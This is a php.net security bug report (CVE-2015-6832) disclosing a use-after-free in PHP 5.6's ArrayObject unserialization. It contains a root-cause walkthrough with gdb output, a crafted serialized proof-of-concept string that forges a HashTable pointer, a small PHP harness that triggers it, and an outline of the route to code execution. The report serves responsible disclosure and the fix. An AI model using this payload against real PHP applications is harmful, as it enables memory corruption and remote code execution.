php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70068 Dangling pointer in the unserialization of ArrayObject items
Submitted: 2015-07-13 22:59 UTC Modified: 2015-09-09 09:57 UTC
From: sean dot heelan at gmail dot com Assigned: stas (profile)
Status: Closed Package: SPL related
PHP Version: 5.6.11 OS:
Private report: No CVE-ID: 2015-6832
 [2015-07-13 22:59 UTC] sean dot heelan at gmail dot com
Description:
------------
Summary
-------

During unserialization of an `ArrayObject` a dangling pointer to a `zval` is
inadvertantly created. By correctly crafting their input to `unserialize` an
attacker can cause this dangling pointer to be swapped into the `array` field of
the `spl_array_object`, which is created during unserialization. The attacker
can then cause the deallocated `zval` to be reallocated and initialized with
data that they fully control. The outcome of this is that
`spl_array_object->array` points to a forged `zval` structure and, as shown in
prior research, an attacker has many paths from there towards code execution.
The most common approach being to set the `type` field of the `zval` to equal
`IS_ARRAY` and rewrite the `ht` field to point to a forged `HashTable`
structure. On destruction, if the forged `HashTable` contains a pointer to a
destructor function then this will be called.

Impact
------

This vulnerability can be leveraged to achieve remote code execution. Any
application that calls `unserialize` on user provided data is potentially
vulnerable although exploitation will be somewhat application specific.

Patch Details
-------------

The patch updates SPL_METHOD(Array, unserialize) to ensure that the `pflags`
variable is not destroyed until after the `var_hash`, which contains a reference
to it.

Bug Details
-----------

File: ext/spl/spl_array.c

1736 SPL_METHOD(Array, unserialize)
1737 {

...

1744         zval *pmembers, *pflags = NULL;

...

1771         ALLOC_INIT_ZVAL(pflags);
1772         if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
1773                 zval_ptr_dtor(&pflags);
1774                 goto outexcept;
1775         }
1776
1777         --p; /* for ';' */
1778         flags = Z_LVAL_P(pflags);
1779         zval_ptr_dtor(&pflags);

During unserialization the `var_hash` variable is used to record pointers to the
`zval` structures associated with the unserialized data. The outcome of this is
that after `php_var_unserialize` the `var_hash` structure contains the value of
the `pflags` variable. Under normal operation this is perfectly fine, as the
`var_hash` structure is used to handle the unserialization of references. e.g.
when a 'reference' field is encountered in the serialized data it indicates what
it actually references by means of an index. This index is really an index into
the `var_hash` structure.

The problem is the call to `zval_ptr_dtor` on line 1779. After this call
`var_hash` still contains the address of the `zval` pointed to by `pflags`, but
the memory backing this `zval` has been returned to the heap. The questiont then
becomes, "Is it possible to access and use this dangling pointer before the
`var_hash` structure is itself destroyed?". As it happens, this is fairly
straightforward as the following code is soon executed:

File: ext/spl/spl_array.c

1790         if (*p!='m') {
1791                 if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
1792                         goto outexcept;
1793                 }
1794                 intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
1795                 intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
1796                 zval_ptr_dtor(&intern->array);
1797                 ALLOC_INIT_ZVAL(intern->array);
1798                 if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
1799                         goto outexcept;
1800                 }
1801         }

In the above code `p` has type `unsigned char *` and points to the string being
unserialized. At this stage it points towards the indicator for the type of the
next item to be unserialized. So, if the next character in the sequence is not
'm' and holds one of the characters compared against on line 1791
`php_var_unserialize` will be called again and provided the `var_hash` which
contains the dangling pointer. With some knowledge of how PHP unserializes items
we can see that these conditions are exactly what we require. The 'r' item type
is the indicator for a reference, and during the unserialization of a reference
the `var_hash` structure will consulted to retrieve the appropriate `zval *`,
which will then be swapped into the first argument to `php_var_unserialize`, a
`zval **`.

File: ext/standard/var_unserializer.re

507 "r:" iv ";"             {
508         long id;
509
510         *p = YYCURSOR;
511         if (!var_hash) return 0;
512
513         id = parse_iv(start + 2) - 1;
514         if (id == -1 || var_access(var_hash, id, &rval_ref) != SUCCESS) {
515                 return 0;
516         }
517
518         if (*rval == *rval_ref) return 0;
519
520         if (*rval != NULL) {
521                 var_push_dtor_no_addref(var_hash, rval);
522         }
523         *rval = *rval_ref;
524         Z_ADDREF_PP(rval);
525         Z_UNSET_ISREF_PP(rval);
526
527         return 1;
528 }

On line 514 the `var_hash` structure is consulted to find the appropriate `zval
*`. This pointer is then swapped into the first argument to
`php_var_unserialize` on line 523. Once this handler returns the `intern->array`
variable in `SPL_METHOD(Array, unserialize)` contains the dangling pointer.

We can demonstrate this by providing the string
`C:11:"ArrayObject":20:{x:i:0;r:2;;m:a:0:{};}` to `unserialize`.

###############################################################################

$ gdb -q ~/Git/php-src/sapi/cli/php
Reading symbols from /home/sean/Git/php-src/sapi/cli/php...done.
(gdb) b zim_spl_Array_unserialize
Breakpoint 1 at 0x6a5149: file /home/sean/Git/php-src/ext/spl/spl_array.c, line 1737.
(gdb) r deserialise.php /tmp/simple_poc.sz
Starting program: /home/sean/Git/php-src/sapi/cli/php deserialise.php /tmp/simple_poc.sz
C:11:"ArrayObject":20:{x:i:0;r:2;;m:a:0:{};}

Breakpoint 1, zim_spl_Array_unserialize (ht=1, return_value=0x7ffff7fc9d10, return_value_ptr=0x7fffffff9aa0,
    this_ptr=0x7ffff7fc9b88, return_value_used=1) at /home/sean/Git/php-src/ext/spl/spl_array.c:1737
1737	{
(gdb) l
1732
1733	/* {{{ proto void ArrayObject::unserialize(string serialized)
1734	 * unserialize the object
1735	 */
1736	SPL_METHOD(Array, unserialize)
1737	{
1738		spl_array_object *intern = (spl_array_object*)zend_object_store_get_object(getThis() TSRMLS_CC);
1739
1740		char *buf;
1741		int buf_len;
(gdb)
1742		const unsigned char *p, *s;
1743		php_unserialize_data_t var_hash;
1744		zval *pmembers, *pflags = NULL;
1745		HashTable *aht;
1746		long flags;
1747
1748		if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &buf, &buf_len) == FAILURE) {
1749			return;
1750		}
1751
(gdb)
1752		if (buf_len == 0) {
1753			return;
1754		}
1755
1756		aht = spl_array_get_hash_table(intern, 0 TSRMLS_CC);
1757		if (aht->nApplyCount > 0) {
1758			zend_error(E_WARNING, "Modification of ArrayObject during sorting is prohibited");
1759			return;
1760		}
1761
(gdb)
1762		/* storage */
1763		s = p = (const unsigned char*)buf;
1764		PHP_VAR_UNSERIALIZE_INIT(var_hash);
1765
1766		if (*p!= 'x' || *++p != ':') {
1767			goto outexcept;
1768		}
1769		++p;
1770
1771		ALLOC_INIT_ZVAL(pflags);
(gdb)
1772		if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
1773			zval_ptr_dtor(&pflags);
1774			goto outexcept;
1775		}
1776
1777		--p; /* for ';' */
1778		flags = Z_LVAL_P(pflags);
1779		zval_ptr_dtor(&pflags);
1780		/* flags needs to be verified and we also need to verify whether the next
1781		 * thing we get is ';'. After that we require an 'm' or somethign else
(gdb) b 1779
Breakpoint 2 at 0x6a535d: file /home/sean/Git/php-src/ext/spl/spl_array.c, line 1779.
(gdb) c
Continuing.

Breakpoint 2, zim_spl_Array_unserialize (ht=1, return_value=0x7ffff7fc9d10, return_value_ptr=0x7fffffff9aa0,
    this_ptr=0x7ffff7fc9b88, return_value_used=1) at /home/sean/Git/php-src/ext/spl/spl_array.c:1779
1779		zval_ptr_dtor(&pflags);
(gdb) p/x pflags
$1 = 0x7ffff7fc9d40
(gdb) p/x ((var_entries*)var_hash->last)->data[0x1]
$2 = 0x7ffff7fc9d40

We have hit a breakpoint just before the `pflags` structure is destroyed. At
this point we can see that a pointer to the `pflags` structure is stored within
the `var_hash` structure.

(gdb) s
_zval_ptr_dtor (zval_ptr=0x7fffffff9750) at /home/sean/Git/php-src/Zend/zend_execute_API.c:424
424		i_zval_ptr_dtor(*zval_ptr ZEND_FILE_LINE_RELAY_CC TSRMLS_CC);
(gdb)
i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_execute_API.c:424
424		i_zval_ptr_dtor(*zval_ptr ZEND_FILE_LINE_RELAY_CC TSRMLS_CC);
(gdb)
zval_delref_p (pz=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend.h:411
411		return --pz->refcount__gc;
(gdb)
i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_execute.h:76
76		if (!Z_DELREF_P(zval_ptr)) {
(gdb)
78			GC_REMOVE_ZVAL_FROM_BUFFER(zval_ptr);
(gdb) n
79			zval_dtor(zval_ptr);
(gdb) s
_zval_dtor (zvalue=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_variables.h:32
32		if (zvalue->type <= IS_BOOL) {
(gdb) n
i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_execute.h:80
80			efree_rel(zval_ptr);
(gdb) s
_efree (ptr=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_alloc.c:2436
2436		if (UNEXPECTED(!AG(mm_heap)->use_zend_alloc)) {

The `pflags` structure has now been destroyed and the reference to it from
`var_hash` is dangling.

(gdb) finish
Run till exit from #0  _efree (ptr=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_alloc.c:2436
0x00000000007f3b2b in i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9d40) at /home/sean/Git/php-src/Zend/zend_execute.h:80
80			efree_rel(zval_ptr);
(gdb) n
_zval_ptr_dtor (zval_ptr=0x7fffffff9750) at /home/sean/Git/php-src/Zend/zend_execute_API.c:425
425	}
(gdb)
zim_spl_Array_unserialize (ht=1, return_value=0x7ffff7fc9d10, return_value_ptr=0x7fffffff9aa0, this_ptr=0x7ffff7fc9b88,
    return_value_used=1) at /home/sean/Git/php-src/ext/spl/spl_array.c:1785
1785		if (*p != ';') {
(gdb) l
1780		/* flags needs to be verified and we also need to verify whether the next
1781		 * thing we get is ';'. After that we require an 'm' or somethign else
1782		 * where 'm' stands for members and anything else should be an array. If
1783		 * neither 'a' or 'm' follows we have an error. */
1784
1785		if (*p != ';') {
1786			goto outexcept;
1787		}
1788		++p;
1789
(gdb)
1790		if (*p!='m') {
1791			if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
1792				goto outexcept;
1793			}
1794			intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
1795			intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
1796			zval_ptr_dtor(&intern->array);
1797			ALLOC_INIT_ZVAL(intern->array);
1798			if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
1799				goto outexcept;
(gdb)
1800			}
1801		}
1802		if (*p != ';') {
1803			goto outexcept;
1804		}
1805		++p;
1806
1807		/* members */
1808		if (*p!= 'm' || *++p != ':') {
1809			goto outexcept;
(gdb) b 1798
Breakpoint 3 at 0x6a544e: file /home/sean/Git/php-src/ext/spl/spl_array.c, line 1798.
(gdb) c
Continuing.

Breakpoint 3, zim_spl_Array_unserialize (ht=1, return_value=0x7ffff7fc9d10, return_value_ptr=0x7fffffff9aa0,
    this_ptr=0x7ffff7fc9b88, return_value_used=1) at /home/sean/Git/php-src/ext/spl/spl_array.c:1798
1798			if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {
(gdb) x/s p
0x7ffff7fcaad6:	"r:2;;m:a:0:{};"
(gdb) p/x intern->array
$3 = 0x7ffff7fc9cb0

Prior to the `php_var_unserialize` call using our "reference" item
`intern->array` points to the `zval` created on line 1797.

(gdb) n
1802		if (*p != ';') {
(gdb) p/x intern->array
$4 = 0x7ffff7fc9d40

After `php_var_unserialize` returns `intern->array` points to the deallocated
structure.

###############################################################################

From an attackers point of view the remaining work is to get the the deallocated
`zval` reallocated using data which they control and then to trigger its use via
the `intern->array` pointer. This is fairly straightforward and is explained in
the attached Python script for generating a POC input. See crash_record.txt for
a demonstration of what will happen when this POC is fed to `unserialize`.

EOF

Test script:
---------------
Write the following to a file and feed the file to the script below to trigger the bug:

a:3:{i:0;C:11:"ArrayObject":20:{x:i:0;r:3;;m:a:0:{};}i:1;d:11;i:2;S:31:"AAAAAAAABBBBCCCC\01\00\00\00\04\00\00\00\00\00\00\00\00\00\00";}

<?php
$handle = fopen($argv[1], "r");
if ($handle) {
    $line = fgets($handle);
    echo $line;
    fclose($handle);
    $data = unserialize($line);
} else {
    echo "Failed to open " + $argv[1];
}
?>

Actual result:
--------------
(gdb) r deserialise.php poc.sz
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/sean/Git/php-src/sapi/cli/php deserialise.php poc.sz
a:3:{i:0;C:11:"ArrayObject":20:{x:i:0;r:3;;m:a:0:{};}i:1;d:11;i:2;S:31:"AAAAAAAABBBBCCCC\01\00\00\00\04\00\00\00\00\00\00\00\00\00\00";}
Program received signal SIGSEGV, Segmentation fault.
0x000000000081d906 in zend_hash_destroy (ht=0x4141414141414141) at /home/sean/Git/php-src/Zend/zend_hash.c:543
543		p = ht->pListHead;
(gdb) bt
#0  0x000000000081d906 in zend_hash_destroy (ht=0x4141414141414141) at /home/sean/Git/php-src/Zend/zend_hash.c:543
#1  0x0000000000808674 in _zval_dtor_func (zvalue=0x7ffff7fc9e18) at /home/sean/Git/php-src/Zend/zend_variables.c:45
#2  0x00000000007f3b1f in _zval_dtor (zvalue=0x7ffff7fc9e18) at /home/sean/Git/php-src/Zend/zend_variables.h:35
#3  i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9e18) at /home/sean/Git/php-src/Zend/zend_execute.h:79
#4  _zval_ptr_dtor (zval_ptr=0x7ffff7fc9c60) at /home/sean/Git/php-src/Zend/zend_execute_API.c:424
#5  0x000000000069fe60 in spl_array_object_free_storage (object=0x7ffff7fc9c40) at /home/sean/Git/php-src/ext/spl/spl_array.c:152
#6  0x000000000084aeb0 in zend_objects_store_del_ref_by_handle_ex (handle=1, handlers=0x1055280 <spl_handler_ArrayObject>)
    at /home/sean/Git/php-src/Zend/zend_objects_API.c:226
#7  0x000000000084ab3e in zend_objects_store_del_ref (zobject=0x7ffff7fc9c10) at /home/sean/Git/php-src/Zend/zend_objects_API.c:178
#8  0x00000000008086ad in _zval_dtor_func (zvalue=0x7ffff7fc9c10) at /home/sean/Git/php-src/Zend/zend_variables.c:57
#9  0x00000000007f3b1f in _zval_dtor (zvalue=0x7ffff7fc9c10) at /home/sean/Git/php-src/Zend/zend_variables.h:35
#10 i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9c10) at /home/sean/Git/php-src/Zend/zend_execute.h:79
#11 _zval_ptr_dtor (zval_ptr=0x7ffff7fc9d50) at /home/sean/Git/php-src/Zend/zend_execute_API.c:424
#12 0x000000000081d949 in zend_hash_destroy (ht=0x7ffff7fca4f8) at /home/sean/Git/php-src/Zend/zend_hash.c:548
#13 0x0000000000808674 in _zval_dtor_func (zvalue=0x7ffff7fc9b80) at /home/sean/Git/php-src/Zend/zend_variables.c:45
#14 0x00000000007f3b1f in _zval_dtor (zvalue=0x7ffff7fc9b80) at /home/sean/Git/php-src/Zend/zend_variables.h:35
#15 i_zval_ptr_dtor (zval_ptr=0x7ffff7fc9b80) at /home/sean/Git/php-src/Zend/zend_execute.h:79
#16 _zval_ptr_dtor (zval_ptr=0x7ffff7fc9f68) at /home/sean/Git/php-src/Zend/zend_execute_API.c:424
#17 0x000000000081c0af in i_zend_hash_bucket_delete (p=0x7ffff7fc9f50, ht=0x10583e8 <executor_globals+360>) at /home/sean/Git/php-src/Zend/zend_hash.c:182
#18 zend_hash_bucket_delete (ht=0x10583e8 <executor_globals+360>, p=0x7ffff7fc9f50) at /home/sean/Git/php-src/Zend/zend_hash.c:192
#19 0x000000000081dbbe in zend_hash_graceful_reverse_destroy (ht=0x10583e8 <executor_globals+360>) at /home/sean/Git/php-src/Zend/zend_hash.c:613
#20 0x00000000007f32cf in shutdown_executor () at /home/sean/Git/php-src/Zend/zend_execute_API.c:244
#21 0x000000000080ab04 in zend_deactivate () at /home/sean/Git/php-src/Zend/zend.c:960
#22 0x00000000007754fd in php_request_shutdown (dummy=0x0) at /home/sean/Git/php-src/main/main.c:1883
#23 0x000000000093da87 in do_cli (argc=3, argv=0x105c940) at /home/sean/Git/php-src/sapi/cli/php_cli.c:1177
#24 0x000000000093e31e in main (argc=3, argv=0x105c940) at /home/sean/Git/php-src/sapi/cli/php_cli.c:1378
(gdb) i r
rax            0x4141414141414141	4702111234474983745
rbx            0x0	0
rcx            0x310f47bd3f	210709757247
rdx            0x4141414141414141	4702111234474983745
rsi            0x7ffff7fc9e48	140737353915976
rdi            0x4141414141414141	4702111234474983745
rbp            0x7fffffffb090	0x7fffffffb090
rsp            0x7fffffffb070	0x7fffffffb070
r8             0x10582a0	17138336
r9             0x8	8
r10            0x22b	555
r11            0x7ffff70b3e30	140737338097200
r12            0x4207d0	4327376
r13            0x7fffffffdbb0	140737488346032
r14            0x0	0
r15            0x0	0
rip            0x81d906	0x81d906 <zend_hash_destroy+16>
eflags         0x10202	[ IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) x/i $rip
=> 0x81d906 <zend_hash_destroy+16>:	mov    rax,QWORD PTR [rax+0x20]
(gdb) l
538
539		IS_CONSISTENT(ht);
540
541		SET_INCONSISTENT(HT_IS_DESTROYING);
542
543		p = ht->pListHead;
544		while (p != NULL) {
545			q = p;
546			p = p->pListNext;
547			if (ht->pDestructor) {
(gdb)
548				ht->pDestructor(q->pData);
549			}
550			if (q->pData != &q->pDataPtr) {
551				pefree(q->pData, ht->persistent);
552			}
553			pefree(q, ht->persistent);
554		}
555		if (ht->nTableMask) {
556			pefree(ht->arBuckets, ht->persistent);
557		}
(gdb)

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-27 00:27 UTC] stas@php.net
Applied in this form: https://gist.github.com/smalyshev/c08cacf74c3bc381452c

Will be in the next release version.
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7fa67742cd8d2b0ca0c0273b157f6ffee9ad6e2
Log: Fix bug #70068 (Dangling pointer in the unserialization of ArrayObject items)
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7fa67742cd8d2b0ca0c0273b157f6ffee9ad6e2
Log: Fix bug #70068 (Dangling pointer in the unserialization of ArrayObject items)
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7fa67742cd8d2b0ca0c0273b157f6ffee9ad6e2
Log: Fix bug #70068 (Dangling pointer in the unserialization of ArrayObject items)
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7fa67742cd8d2b0ca0c0273b157f6ffee9ad6e2
Log: Fix bug #70068 (Dangling pointer in the unserialization of ArrayObject items)
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=b7fa67742cd8d2b0ca0c0273b157f6ffee9ad6e2
Log: Fix bug #70068 (Dangling pointer in the unserialization of ArrayObject items)
 [2015-09-09 09:57 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6832
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 07:01:29 2024 UTC